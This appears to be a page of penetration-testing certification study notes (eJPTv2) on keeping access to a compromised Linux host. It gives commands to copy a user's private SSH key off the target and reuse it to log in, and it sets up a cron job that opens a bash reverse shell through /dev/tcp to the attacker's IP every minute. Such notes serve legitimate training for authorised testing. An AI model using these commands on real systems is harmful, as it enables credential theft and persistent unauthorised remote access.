> For the complete documentation index, see [llms.txt](https://blog.rootkid.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.rootkid.in/exam-prep-notes/junior-penetration-tester-ejptv2-notes/host-and-network-penetration-testing/post-exploitation/linux-persistence.md). Agents can also search and read this documentation through its [MCP server](https://blog.rootkid.in/~gitbook/mcp).

# Linux Persistence

## Persistence Via SSH Keys

* Linux is typically deployed as a server operating system and as a result, Linux servers are typically accessed remotely via services/protocols such as SSH.
* If SSH is enabled and running on a Linux system you have compromised, you can take advantage of the SSH configuration to establish persistent access on the target system.
* In most cases Linux servers will have key-based authentication enabled for the SSH service, allowing users to access the Linux system remotely without the need for a password.
* After gaining access to a Linux system, we can transfer the SSH private key of a specific user account to our system and use that SSH private key for all future authentication and access.

### Copying the id\_rsa (Private SSH Key) from Target System to Local System

To retrieve the `id_rsa` (private SSH key) from the target system to your local system, use the following `scp` command:

```sh
scp <user>@<ip>:<path_to_id_rsa> <path_to_put>
```

This command copies the private key from the target system to your local system. Make sure to set the correct paths.

#### Setting Permissions for id\_rsa

To set the appropriate permissions for `id_rsa`, use the following command:

```sh
chmod 400 id_rsa
```

This command restricts the file permissions on `id_rsa` to ensure it is only readable by the owner.

#### Logging into the Target System using the Private Key

To log in to the target system using the private key, use the following command:

```sh
ssh -i id_rsa <user>@<ip>
```

This command establishes an SSH connection to the target system, authenticating using the provided private key. Ensure you replace `<user>` and `<ip>` with the correct values.

## Persistence Via Cron Jobs

* Linux implements task scheduling through a utility called Cron. Cron is a time-based service that runs applications, scripts and other commands repeatedly on a specified schedule.
* An application, or script that has been configured to be run repeatedly with Cron is known as a Cron job.
* We can use cron jobs to execute a command or script at a fixed interval to ensure we have persistent access to the target system.

<figure><img src="https://3226903849-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FaKwXOzYgG7jDDDoVkYvX%2Fuploads%2FdkOxZEfIYvVTlYXqJy8j%2FAnatomy%20Of%20A%20Cron%20Job.png?alt=media&amp;token=77bcd194-b8fa-40de-bfd1-17e1d5693807" alt=""><figcaption><p>Anatomy Of A Cron Job</p></figcaption></figure>

### Setting Up a Cron Job for Maintaining Access

To create a cron job on the target Linux system that establishes a connection to your local system every minute, follow these steps:

1. Create a file named "cron" with the desired cron job configuration:

   ```sh
   echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1'" > cron
   ```
2. Install the cron job by updating the crontab:

   ```sh
   crontab cron
   ```

#### Important Note

After setting up the cron job, ensure you have a listener set up on your local system. This way, every minute, the target system will attempt to connect to your local system, allowing you to maintain access.

***

***

***

**`Hacker's Mantra:`**`The art of hacking: where creativity meets technology.`
